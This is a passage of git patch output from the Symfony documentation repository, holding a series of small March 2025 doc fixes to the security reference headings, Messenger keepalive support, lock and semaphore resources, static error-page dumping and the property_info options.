 **Step 5.** Now make your changes in the documentation. Add, tweak, reword and
 even remove any content and do your best to comply with the
@@ -156,7 +156,7 @@ changes should be applied:
     :alt: The base branch select option on the GitHub page.
 
 In this example, the **base fork** should be ``symfony/symfony-docs`` and
-the **base** branch should be the ``5.4``, which is the branch that you selected
+the **base** branch should be the ``4.4``, which is the branch that you selected
 to base your changes on. The **head fork** should be your forked copy
 of ``symfony-docs`` and the **compare** branch should be ``improve_install_article``,
 which is the name of the branch you created and where you made your changes.
@@ -209,7 +209,7 @@ contribution to the Symfony docs:
     # create a new branch based on the oldest maintained version
     $ cd projects/symfony-docs/
     $ git fetch upstream
-    $ git checkout -b my_changes upstream/5.4
+    $ git checkout -b my_changes upstream/6.4
 
     # ... do your changes
 
@@ -258,8 +258,8 @@ into multiple branches, corresponding to the different versions of Symfony itsel
 The latest (e.g. ``5.x``) branch holds the documentation for the development branch of
 the code.
 
-Unless you're documenting a feature that was introduced after Symfony 5.4,
-your changes should always be based on the ``5.4`` branch. Documentation managers
+Unless you're documenting a feature that was introduced after Symfony 6.4,
+your changes should always be based on the ``6.4`` branch. Documentation managers
 will use the necessary Git-magic to also apply your changes to all the active
 branches of the documentation.
 

From a20720181319a2dfdf0a6afd9ada63b09c16646a Mon Sep 17 00:00:00 2001
From: Julien Bonnier <noreply@julienbonnier.com>
Date: Wed, 5 Mar 2025 18:38:05 -0500
Subject: [PATCH 5410/5766] fix: Add missing ContainerBuilder use statement in
 Bundle documentation

---
 bundles/extension.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/bundles/extension.rst b/bundles/extension.rst
index 23318590166..607ca1404fb 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -29,6 +29,7 @@ class, you can define the :method:`Symfony\\Component\\HttpKernel\\Bundle\\Abstr
 method to load service definitions from configuration files::
 
     // ...
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
     use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
 

From f235bc68949ed2b3ebd9f438cdadb48698893a2a Mon Sep 17 00:00:00 2001
From: Markus Mauksch <markus.mauksch@ea-energie.de>
Date: Wed, 5 Mar 2025 22:22:38 +0100
Subject: [PATCH 5411/5766] Fix Headings mentioned in #20716

---
 reference/configuration/security.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index d32d3c6ad43..53d1217c985 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -157,7 +157,7 @@ The possible values of this option are:
   other session attributes are lost.
 
 access_control
---------------
+~~~~~~~~~~~~~~
 
 Defines the security protection of the URLs of your application. It's used for
 example to trigger the user authentication when trying to access to the backend
@@ -166,7 +166,7 @@ and to allow unauthenticated users to the login form page.
 This option is explained in detail in :doc:`/security/access_control`.
 
 firewalls
----------
+~~~~~~~~~
 
 This is arguably the most important option of the security config file. It
 defines the authentication mechanism used for each URL (or URL pattern) of your

From cb7e5387ccc8e77a2c61849249d73ea50b143c72 Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Thu, 6 Mar 2025 13:41:32 +0100
Subject: [PATCH 5412/5766] Fix more heading levels in the security reference

---
 reference/configuration/security.rst | 85 +++-------------------------
 1 file changed, 7 insertions(+), 78 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 53d1217c985..10eabeae131 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -38,86 +38,15 @@ separate articles:
 * `role_hierarchy`_
 
 access_denied_url
-~~~~~~~~~~~~~~~~~
+-----------------
 
 **type**: ``string`` **default**: ``null``
 
 Defines the URL where the user is redirected after a ``403`` HTTP error (unless
 you define a custom access denial handler). Example: ``/no-permission``
 
-delete_cookies
-~~~~~~~~~~~~~~
-
-**type**: ``array`` **default**: ``[]``
-
-Lists the names (and other optional features) of the cookies to delete when the
-user logs out::
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    # ...
-                    logout:
-                        delete_cookies:
-                            cookie1-name: null
-                            cookie2-name:
-                                path: '/'
-                            cookie3-name:
-                                path: null
-                                domain: example.com
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <firewall name="main">
-                    <!-- ... -->
-                    <logout path="...">
-                        <delete-cookie name="cookie1-name"/>
-                        <delete-cookie name="cookie2-name" path="/"/>
-                        <delete-cookie name="cookie3-name" domain="example.com"/>
-                    </logout>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-
-        // ...
-
-        return static function (SecurityConfig $securityConfig): void {
-            // ...
-
-            $securityConfig->firewall('main')
-                ->logout()
-                    ->deleteCookie('cookie1-name')
-                    ->deleteCookie('cookie2-name')
-                        ->path('/')
-                    ->deleteCookie('cookie3-name')
-                        ->path(null)
-                        ->domain('example.com');
-        };
-
 erase_credentials
-~~~~~~~~~~~~~~~~~
+-----------------
 
 **type**: ``boolean`` **default**: ``true``
 
@@ -125,7 +54,7 @@ If ``true``, the ``eraseCredentials()`` method of the user object is called
 after authentication.
 
 hide_user_not_found
-~~~~~~~~~~~~~~~~~~~
+-------------------
 
 **type**: ``boolean`` **default**: ``true``
 
@@ -138,7 +67,7 @@ If ``false``, the exception thrown is of type
 and it includes the given not found user identifier.
 
 session_fixation_strategy
-~~~~~~~~~~~~~~~~~~~~~~~~~
+-------------------------
 
 **type**: ``string`` **default**: ``SessionAuthenticationStrategy::MIGRATE``
 
@@ -157,7 +86,7 @@ The possible values of this option are:
   other session attributes are lost.
 
 access_control
-~~~~~~~~~~~~~~
+--------------
 
 Defines the security protection of the URLs of your application. It's used for
 example to trigger the user authentication when trying to access to the backend
@@ -166,7 +95,7 @@ and to allow unauthenticated users to the login form page.
 This option is explained in detail in :doc:`/security/access_control`.
 
 firewalls
-~~~~~~~~~
+---------
 
 This is arguably the most important option of the security config file. It
 defines the authentication mechanism used for each URL (or URL pattern) of your
@@ -427,7 +356,7 @@ delete_cookies
 **type**: ``array`` **default**: ``[]``
 
 Lists the names (and other optional features) of the cookies to delete when the
-user logs out::
+user logs out:
 
 .. configuration-block::
 

From d49a86aba3ab1fc59ff58e98b50a7f6df318df23 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Sat, 8 Mar 2025 21:34:23 +0100
Subject: [PATCH 5413/5766] [Messenger] Clarify keepalive implementation for
 each transport

---
 messenger.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index d76e2170c09..9a5f7017097 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1729,6 +1729,13 @@ The transport has a number of options:
     The message time to run before it is put back in the ready queue - in
     seconds.
 
+The Beanstalkd transport supports the ``--keepalive`` option by using Beanstalkd's
+``touch`` command to periodically reset the job's ``ttr``.
+
+.. versionadded:: 7.2
+
+    Keepalive support was introduced in Symfony 7.2.
+
 .. _messenger-redis-transport:
 
 Redis Transport
@@ -2051,6 +2058,13 @@ The transport has a number of options:
     FIFO queues don't support setting a delay per message, a value of ``delay: 0``
     is required in the retry strategy settings.
 
+The SQS transport supports the ``--keepalive`` option by using the ``ChangeMessageVisibility``
+action to periodically update the ``VisibilityTimeout`` of the message.
+
+.. versionadded:: 7.2
+
+    Keepalive support was introduced in Symfony 7.2.
+
 Serializing Messages
 ~~~~~~~~~~~~~~~~~~~~
 

From 8b245b252fe6fd1088ea4dfe106b39786359758e Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Sat, 8 Mar 2025 23:32:42 +0100
Subject: [PATCH 5414/5766] [FrameworkBundle] Using existing services as
 lock/semaphore resources

---
 lock.rst                              | 8 ++++++++
 reference/configuration/framework.rst | 7 ++++---
 2 files changed, 12 insertions(+), 3 deletions(-)

diff --git a/lock.rst b/lock.rst
index 82ec48db572..1f149466216 100644
--- a/lock.rst
+++ b/lock.rst
@@ -62,6 +62,8 @@ this behavior by using the ``lock`` key like:
             lock: 'oci:host=127.0.0.1;dbname=app'
             lock: 'mongodb://127.0.0.1/app?collection=lock'
             lock: '%env(LOCK_DSN)%'
+            # using an existing service
+            lock: 'snc_redis.default'
 
             # named locks
             lock:
@@ -119,6 +121,9 @@ this behavior by using the ``lock`` key like:
 
                     <framework:resource>%env(LOCK_DSN)%</framework:resource>
 
+                    <!-- using an existing service -->
+                    <framework:resource>snc_redis.default</framework:resource>
+
                     <!-- named locks -->
                     <framework:resource name="invoice">semaphore</framework:resource>
                     <framework:resource name="invoice">redis://r2.docker</framework:resource>
@@ -130,6 +135,7 @@ this behavior by using the ``lock`` key like:
     .. code-block:: php
 
         // config/packages/lock.php
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework): void {
@@ -152,6 +158,8 @@ this behavior by using the ``lock`` key like:
                 ->resource('default', ['oci:host=127.0.0.1;dbname=app'])
                 ->resource('default', ['mongodb://127.0.0.1/app?collection=lock'])
                 ->resource('default', [env('LOCK_DSN')])
+                // using an existing service
+                ->resource('default', ['snc_redis.default'])
 
                 // named locks
                 ->resource('invoice', ['semaphore', 'redis://r2.docker'])
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 0334b918c66..f6a275067dc 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2048,7 +2048,7 @@ resources
 **type**: ``array``
 
 A map of lock stores to be created by the framework extension, with
-the name as key and DSN as value:
+the name as key and DSN or service id as value:
 
 .. configuration-block::
 
@@ -2725,7 +2725,7 @@ resources
 **type**: ``array``
 
 A map of semaphore stores to be created by the framework extension, with
-the name as key and DSN as value:
+the name as key and DSN or service id as value:
 
 .. configuration-block::
 
@@ -2756,11 +2756,12 @@ the name as key and DSN as value:
     .. code-block:: php
 
         // config/packages/semaphore.php
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework): void {
             $framework->semaphore()
-                ->resource('default', ['%env(SEMAPHORE_DSN)%']);
+                ->resource('default', [env('SEMAPHORE_DSN')]);
         };
 
 .. _reference-semaphore-resources-name:

From 16a923591094502c41be1fdd742bf20baf3c7ebf Mon Sep 17 00:00:00 2001
From: "Cadot.eu & Co." <97225403+cadot-eu@users.noreply.github.com>
Date: Sun, 9 Mar 2025 14:37:35 +0100
Subject: [PATCH 5415/5766] Error: Undefined Variable $texter

The variable $texter is not defined inside the method, so PHP will throw an "Undefined variable" error.
---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 2382dfee284..d2dc225f4f0 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -759,7 +759,7 @@ Now you can send notifications to your desktop as follows::
                 sprintf('%s is a new subscriber', $user->getFullName())
             );
 
-            $texter->send($message);
+            $this->texter->send($message);
         }
     }
 

From 2bae0a33bcbba91dca357f832b3ea17dfa9336a0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 6 Mar 2025 16:55:20 +0100
Subject: [PATCH 5416/5766] Update documentation format guide

---
 contributing/documentation/format.rst | 33 ++++++++++++---------------
 1 file changed, 14 insertions(+), 19 deletions(-)

diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index e581d0382e4..ef17b55011e 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -2,19 +2,17 @@ Documentation Format
 ====================
 
 The Symfony documentation uses `reStructuredText`_ as its markup language and
-`Sphinx`_ for generating the documentation in the formats read by the end users,
-such as HTML and PDF.
+a custom tool called `Docs Builder`_ for generating the documentation pages.
 
 reStructuredText
 ----------------
 
 reStructuredText is a plain text markup syntax similar to Markdown, but much
-stricter with its syntax. If you are new to reStructuredText, take some time to
-familiarize with this format by reading the existing `Symfony documentation`_
-source code.
+stricter with its syntax. If you are new to reStructuredText, check out the
+`reStructuredText Primer`_ tutorial and the `reStructuredText Reference`_.
 
-If you want to learn more about this format, check out the `reStructuredText Primer`_
-tutorial and the `reStructuredText Reference`_.
+You can also take some time to familiarize with this format by reading the
+existing `Symfony documentation`_ source.
 
 .. warning::
 
@@ -24,12 +22,11 @@ tutorial and the `reStructuredText Reference`_.
     * Lists start at the beginning of a line (no indentation is allowed);
     * Inline code blocks use double-ticks (````like this````).
 
-Sphinx
-------
+Custom reStructuredText Directives
+----------------------------------
 
-Sphinx_ is a build system that provides tools to create documentation from
-reStructuredText documents. As such, it adds new directives and interpreted text
-roles to the standard reStructuredText markup. Read more about the `Sphinx Markup Constructs`_.
+The Symfony documentation includes several custom directives that extend the
+standard reStructuredText syntax.
 
 Syntax Highlighting
 ~~~~~~~~~~~~~~~~~~~
@@ -45,9 +42,9 @@ change it with the ``code-block`` directive:
 
 .. note::
 
-    Besides all of the major programming languages, the syntax highlighter
-    supports all kinds of markup and configuration languages. Check out the
-    list of `supported languages`_ on the syntax highlighter website.
+    Code highlighting is supported for all programming languages commonly used
+    in Symfony Docs, such as ``yaml``, ``xml``, ``twig``, ``html``, ``js``,
+    ``json``, ``text``, ``bash``, ``diff``, etc.
 
 .. _docs-configuration-blocks:
 
@@ -280,10 +277,8 @@ for Symfony versions that have a lower major version will be removed. For
 example, if Symfony 6.0 were released today, 5.0 to 5.4 ``versionadded`` and
 ``deprecated`` tags would be removed from the new ``6.0`` branch.
 
-.. _reStructuredText: https://docutils.sourceforge.io/rst.html
-.. _Sphinx: https://www.sphinx-doc.org/
+.. _`reStructuredText`: https://docutils.sourceforge.io/rst.html
+.. _`Docs Builder`: https://github.com/symfony-tools/docs-builder
 .. _`Symfony documentation`: https://github.com/symfony/symfony-docs
 .. _`reStructuredText Primer`: https://www.sphinx-doc.org/en/master/usage/restructuredtext/basics.html
 .. _`reStructuredText Reference`: https://docutils.sourceforge.io/docs/user/rst/quickref.html
-.. _`Sphinx Markup Constructs`: https://www.sphinx-doc.org/en/1.7/markup/index.html
-.. _`supported languages`: https://pygments.org/languages/

From 2712ab17a0b24388bc3a586bc7ec7bd0cf702741 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 4 Mar 2025 14:13:43 +0100
Subject: [PATCH 5417/5766] Use DOCtor-RST 1.67.0

---
 .doctor-rst.yaml          | 2 ++
 .github/workflows/ci.yaml | 2 +-
 2 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 258de40c750..3e804e4485f 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -41,6 +41,7 @@ rules:
     no_composer_req: ~
     no_directive_after_shorthand: ~
     no_duplicate_use_statements: ~
+    no_empty_literals: ~
     no_explicit_use_of_code_block_php: ~
     no_footnotes: ~
     no_inheritdoc: ~
@@ -118,3 +119,4 @@ whitelist:
         - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket'
         - 'End to End Tests (E2E)'
         - '.. versionadded:: 2.2.0' # Panther
+        - '* Inline code blocks use double-ticks (````like this````).'
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index b69e512b046..497dfd9b430 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -72,7 +72,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.66.0
+                uses: docker://oskarstark/doctor-rst:1.67.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From b529b654f9859d27fafa76fb700a53a5ec255fcd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 10 Mar 2025 09:13:55 +0100
Subject: [PATCH 5418/5766] [Messenger] Add a link to a class

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 918719615f4..36b3cc58ad4 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1794,7 +1794,7 @@ The Beanstalkd transport supports the ``--keepalive`` option by using Beanstalkd
     Keepalive support was introduced in Symfony 7.2.
 
 The Beanstalkd transport lets you set the priority of the messages being dispatched.
-Use the ``Symfony\Component\Messenger\Bridge\Beanstalkd\Transport\BeanstalkdPriorityStamp``
+Use the :class:``Symfony\\Component\\Messenger\\Bridge\\Beanstalkd\\Transport\\BeanstalkdPriorityStamp``
 and pass a number to specify the priority (default = ``1024``; lower numbers mean higher priority)::
 
     use App\Message\SomeMessage;

From 75d85bd6f082e700224c759ad27b33e2b6fe6e51 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Sat, 8 Mar 2025 22:16:20 +0100
Subject: [PATCH 5419/5766] [Messenger] Add Beanstalkd's `bury_on_reject`
 option

---
 messenger.rst | 12 ++++++++++--
 1 file changed, 10 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 36b3cc58ad4..c5edca9e9ed 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1775,8 +1775,13 @@ The Beanstalkd transport DSN may looks like this:
 
 The transport has a number of options:
 
-``tube_name`` (default: ``default``)
-    Name of the queue
+``bury_on_reject`` (default: ``false``)
+    When set to ``true``, rejected messages are placed into a "buried" state
+    in Beanstalkd instead of being deleted.
+
+    .. versionadded:: 7.3
+
+        The ``bury_on_reject`` option was introduced in Symfony 7.3.
 
 ``timeout`` (default: ``0``)
     Message reservation timeout - in seconds. 0 will cause the server to
@@ -1786,6 +1791,9 @@ The transport has a number of options:
     The message time to run before it is put back in the ready queue - in
     seconds.
 
+``tube_name`` (default: ``default``)
+    Name of the queue
+
 The Beanstalkd transport supports the ``--keepalive`` option by using Beanstalkd's
 ``touch`` command to periodically reset the job's ``ttr``.
 

From 9f396ee8cca51673b9a4b049c4709040431aedfe Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 10 Mar 2025 09:40:43 +0100
Subject: [PATCH 5420/5766] Added the missing versionadded directive

---
 lock.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/lock.rst b/lock.rst
index 1f149466216..d9d57481f3d 100644
--- a/lock.rst
+++ b/lock.rst
@@ -167,6 +167,10 @@ this behavior by using the ``lock`` key like:
             ;
         };
 
+.. versionadded:: 7.2
+
+    The option to use an existing service as the lock/semaphore was introduced in Symfony 7.2.
+
 Locking a Resource
 ------------------
 

From e6c8e7cde54ca0bf7e213e5986eb894532bd8aca Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 10 Mar 2025 10:14:04 +0100
Subject: [PATCH 5421/5766] Minor rewords

---
 controller/error_pages.rst | 43 +++++++++++++++++++-------------------
 1 file changed, 22 insertions(+), 21 deletions(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 00a36f3b13a..96856764ece 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -337,40 +337,41 @@ time and again, you can have just one (or several) listeners deal with them.
     and takes measures like redirecting the user to the login page, logging them
     out and other things.
 
-Dumping error pages in static HTML files
+Dumping Error Pages as Static HTML Files
 ----------------------------------------
 
-When a web server cannot handle a request or when it triggers an error without
-calling the PHP application, it will return its default error pages, instead of
-rendering the errors as defined in your application (whether it's Symfony's
-default "Oops" error page or the pages you customized in your application).
+.. versionadded:: 7.3
 
-To avoid that and always have your web server rendering your application's error
-pages, you can dump each HTTP status error in a their own static HTML files:
+    The feature to dump error pages into static HTML files was introduced in Symfony 7.3.
 
-.. code-block:: terminal
+If an error occurs before reaching your Symfony application, web servers display
+their own default error pages instead of your custom ones. Dumping your application's
+error pages to static HTML ensures users always see your defined pages and improves
+performance by allowing the server to deliver errors instantly without calling
+your application.
 
-    $ php bin/console error:dump [--force] var/cache/prod/error_pages
+Symfony provides the following command to turn your error pages into static HTML files:
 
-.. note::
+.. code-block:: terminal
 
-    By default, it will dump HTML files for each HTTP status error.
-    You can restrict that to dump only some HTTP status code by passing them as
-    in the second argument of the command.
+    # the first argument is the path where the HTML files are stored
+    $ APP_ENV=prod php bin/console error:dump var/cache/prod/error_pages/
 
-Once the static pages are generated, you can now configure your web server to use
-them instead of their default error page. Here is an example configuration with
-nginx:
+    # by default, it generates the pages of all 4xx and 5xx errors, but you can
+    # pass a list of HTTP status codes to only generate those
+    $ APP_ENV=prod php bin/console error:dump var/cache/prod/error_pages/ 401 403 404 500
+
+You must also configure your web server to use these generated pages. For example,
+if you use Nginx:
 
 .. code-block:: nginx
 
     # /etc/nginx/conf.d/example.com.conf
     server {
-        # Your existing serverconfiguration
+        # Existing server configuration
         # ...
 
-
-	# Configure nginx to serve your application's error pages
+        # Serve static error pages
         error_page 400 /error_pages/400.html;
         error_page 401 /error_pages/401.html;
         # ...
@@ -378,7 +379,7 @@ nginx:
         error_page 511 /error_pages/511.html;
 
         location ^~ /error_pages/ {
-          root /path/to/your/symfony/var/cache/error_pages;
-          internal; # allows this location block to not be triggered when a user manually call these /error_pages/.* urls
+            root /path/to/your/symfony/var/cache/error_pages;
+            internal; # prevent direct URL access
         }
     }

From abdd3c97650685da796d864225572beb5d18d2fb Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Sat, 8 Mar 2025 21:51:06 +0100
Subject: [PATCH 5422/5766] [Messenger] Keepalive support for Doctrine & Redis

---
 messenger.rst | 18 ++++++++++++------
 1 file changed, 12 insertions(+), 6 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index c5edca9e9ed..fcd4148cf51 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -555,7 +555,7 @@ the message from being redelivered until the worker completes processing it:
 
 .. note::
 
-    This option is only available for the following transports: Beanstalkd and AmazonSQS.
+    This option is only available for the following transports: Beanstalkd, AmazonSQS, Doctrine and Redis.
 
 .. versionadded:: 7.2
 
@@ -1745,13 +1745,12 @@ in the table.
     The length of time to wait for a response when calling
     ``PDO::pgsqlGetNotify``, in milliseconds.
 
-The keepalive feature, which prevents messages from being prematurely redelivered during
-long-running processing, updates the ``delivered_at`` timestamp periodically to ensure
-the message is marked as "in progress".
+The Doctrine transport supports the ``--keepalive`` option by periodically updating
+the ``delivered_at`` timestamp to prevent the message from being redelivered.
 
 .. versionadded:: 7.3
 
-    Keepalive support, using the ``--keepalive`` option, was introduced in Symfony 7.3.
+    Keepalive support was introduced in Symfony 7.3.
 
 Beanstalkd Transport
 ~~~~~~~~~~~~~~~~~~~~
@@ -1802,7 +1801,7 @@ The Beanstalkd transport supports the ``--keepalive`` option by using Beanstalkd
     Keepalive support was introduced in Symfony 7.2.
 
 The Beanstalkd transport lets you set the priority of the messages being dispatched.
-Use the :class:``Symfony\\Component\\Messenger\\Bridge\\Beanstalkd\\Transport\\BeanstalkdPriorityStamp``
+Use the :class:``Symfony\Component\Messenger\Bridge\Beanstalkd\Transport\BeanstalkdPriorityStamp``
 and pass a number to specify the priority (default = ``1024``; lower numbers mean higher priority)::
 
     use App\Message\SomeMessage;
@@ -1951,6 +1950,13 @@ under the transport in ``messenger.yaml``:
     in your case) to avoid memory leaks. Otherwise, all messages will remain
     forever in Redis.
 
+The Redis transport supports the ``--keepalive`` option by using Redis's ``XCLAIM``
+command to periodically reset the message's idle time to zero.
+
+.. versionadded:: 7.3
+
+    Keepalive support was introduced in Symfony 7.3.
+
 In Memory Transport
 ~~~~~~~~~~~~~~~~~~~
 

From 0b9fbc1e9ea2290d4cf4016d8a833d0890fbba98 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Mon, 10 Mar 2025 15:13:28 +0100
Subject: [PATCH 5423/5766] [Messenger] Fix link to class

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index fcd4148cf51..08209896ef4 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1801,7 +1801,7 @@ The Beanstalkd transport supports the ``--keepalive`` option by using Beanstalkd
     Keepalive support was introduced in Symfony 7.2.
 
 The Beanstalkd transport lets you set the priority of the messages being dispatched.
-Use the :class:``Symfony\Component\Messenger\Bridge\Beanstalkd\Transport\BeanstalkdPriorityStamp``
+Use the :class:`Symfony\\Component\\Messenger\\Bridge\\Beanstalkd\\Transport\\BeanstalkdPriorityStamp`
 and pass a number to specify the priority (default = ``1024``; lower numbers mean higher priority)::
 
     use App\Message\SomeMessage;

From 26c429efc1e8c4c5d0e3a6bb48c027f9b14bce26 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 10 Mar 2025 17:54:29 +0100
Subject: [PATCH 5424/5766] Fix build

---
 serializer/encoders.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer/encoders.rst b/serializer/encoders.rst
index d5a98356156..a11daaa7bad 100644
--- a/serializer/encoders.rst
+++ b/serializer/encoders.rst
@@ -202,7 +202,7 @@ These are the options available on the :ref:`serializer context <serializer-cont
     If set to ``false``, will not wrap any value containing one of the
     following characters ( ``<``, ``>``, ``&``) in `a CDATA section`_ like
     following: ``<![CDATA[...]]>``.
-``cdata_wrapping_pattern`` (default: ````/[<>&]/````)
+``cdata_wrapping_pattern`` (default: ``/[<>&]/``)
     A regular expression pattern to determine if a value should be wrapped
     in a CDATA section.
 

From 4043a28b31023699509690db86c9952b013e5f5e Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Mon, 10 Mar 2025 21:25:43 +0100
Subject: [PATCH 5425/5766] [FrameworkBundle] Mention the
 `property_info.with_constructor_extractor` option

---
 components/property_info.rst          |  8 ++++++++
 reference/configuration/framework.rst | 12 ++++++++++++
 2 files changed, 20 insertions(+)

diff --git a/components/property_info.rst b/components/property_info.rst
index 0ff1768441a..10c4d161377 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -538,6 +538,8 @@ with the ``property_info`` service in the Symfony Framework::
     // Type information.
     $doctrineExtractor->getTypes($class, $property);
 
+.. _components-property-information-constructor-extractor:
+
 ConstructorExtractor
 ~~~~~~~~~~~~~~~~~~~~
 
@@ -570,6 +572,7 @@ Creating Your Own Extractors
 
 You can create your own property information extractors by creating a
 class that implements one or more of the following interfaces:
+:class:`Symfony\\Component\\PropertyInfo\\ConstructorArgumentTypeExtractorInterface`,
 :class:`Symfony\\Component\\PropertyInfo\\PropertyAccessExtractorInterface`,
 :class:`Symfony\\Component\\PropertyInfo\\PropertyDescriptionExtractorInterface`,
 :class:`Symfony\\Component\\PropertyInfo\\PropertyListExtractorInterface`,
@@ -587,6 +590,11 @@ service by defining it as a service with one or more of the following
 * ``property_info.access_extractor`` if it provides access information.
 * ``property_info.initializable_extractor`` if it provides initializable information
   (it checks if a property can be initialized through the constructor).
+* ``property_info.constructor_extractor`` if it provides type information from the constructor argument.
+
+  .. versionadded:: 7.3
+
+      The ``property_info.constructor_extractor`` tag was introduced in Symfony 7.3.
 
 .. _`PSR-1`: https://www.php-fig.org/psr/psr-1/
 .. _`phpDocumentor Reflection`: https://github.com/phpDocumentor/ReflectionDocBlock
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index f6a275067dc..528543a5178 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2451,6 +2451,18 @@ enabled
 
 **type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
 
+with_constructor_extractor
+..........................
+
+**type**: ``boolean`` **default**: ``false``
+
+Configures the ``property_info`` service to extract property information from the constructor arguments
+using the :ref:`ConstructorExtractor <components-property-information-constructor-extractor>`.
+
+.. versionadded:: 7.3
+
+    The ``with_constructor_extractor`` option was introduced in Symfony 7.3.
+
 rate_limiter
 ~~~~~~~~~~~~
 

From 07e3d4bef6a42a1d2020aef3c4e2bfd2a75f4f27 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 11 Mar 2025 08:40:59 +0100
Subject: [PATCH 5426/5766] Minor tweak

---
 security/expressions.rst | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/security/expressions.rst b/security/expressions.rst
index dce52ee74ff..a4ec02c7b84 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -215,10 +215,7 @@ returns an array of values that will be injected into the closure::
 
     class MyController extends AbstractController
     {
-        #[IsGranted(static function (
-            IsGrantedContext $context,
-            mixed $subject,
-        ) {
+        #[IsGranted(static function (IsGrantedContext $context, mixed $subject) {
             return $context->user === $subject['post']->getAuthor();
         }, subject: static function (array $args) {
             return [

From 45b7549223d54deed318d4e03a5b5fba98256dc4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?El=C3=ADas=20Fern=C3=A1ndez?= <eliasfernandez@gmail.com>
Date: Tue, 25 Feb 2025 17:39:09 +0100
Subject: [PATCH 5427/5766] Add configuration to the mailer section #20641

